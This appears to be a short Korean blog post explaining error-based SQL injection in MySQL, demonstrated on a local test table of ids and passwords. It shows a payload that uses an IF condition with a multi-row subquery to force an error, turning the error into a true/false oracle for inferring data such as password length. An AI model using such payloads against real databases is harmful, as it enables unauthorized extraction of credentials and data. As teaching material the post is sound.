Error Based SQLi
Error Based SQLi
에러 기반 sqli 는 꽤 강력하다고 생각한다. blind sqli 보다 더 적은 쿼리로 더 많은 정보를 얻을 수 있다고 생각한다.
뭐, 구글링하다보면 많이 보이겠지만, 여기서는 내가 본 쿼리 중 가장 신기하고 아름다웠던 쿼리를 소개해보려 한다.
mysql> select * from test;
+-------+--------+
| id | pw |
+-------+--------+
| admin | ad1234 |
| guest | gu1234 |
+-------+--------+
2 rows in set (0.00 sec)
이 쿼리는 test에서 정보들을 갖고 오는 아주 간단한 쿼리이다.
이 테이블에서 error based sqli 를 실습해볼 것이다.
mysql> SELECT * FROM test WHERE id='admin' AND IF(LENGTH(pw)>1, 1, (SELECT 1 union select 2));
+-------+--------+
| id | pw |
+-------+--------+
| admin | ad1234 |
+-------+--------+
1 row in set (0.00 sec)
mysql>
IF(LENGTH(pw)>1, 1, (SELECT 1 union select 2))
IF문의 조건이 맞지 않다면 위의 오류가 나는 서브쿼리를 실행하게 된다.
mysql> SELECT * FROM test WHERE id='admin' AND IF(LENGTH(pw)>10, 1, (SELECT 1 union select 2));
ERROR 1242 (21000): Subquery returns more than 1 row
'Hacking > Web.' 카테고리의 다른 글
MySQL procedure analyze()를 이용한 SQLi (0) | 2017.01.22 |
---|---|
Blind SQL Injection 시 테이블 수 (0) | 2017.01.22 |
SQLi 문자열 비교(?) (0) | 2017.01.12 |
[SQLi] like 비교에서의 blind injection (0) | 2016.12.17 |
[SQL injection] _(언더바) (0) | 2016.12.17 |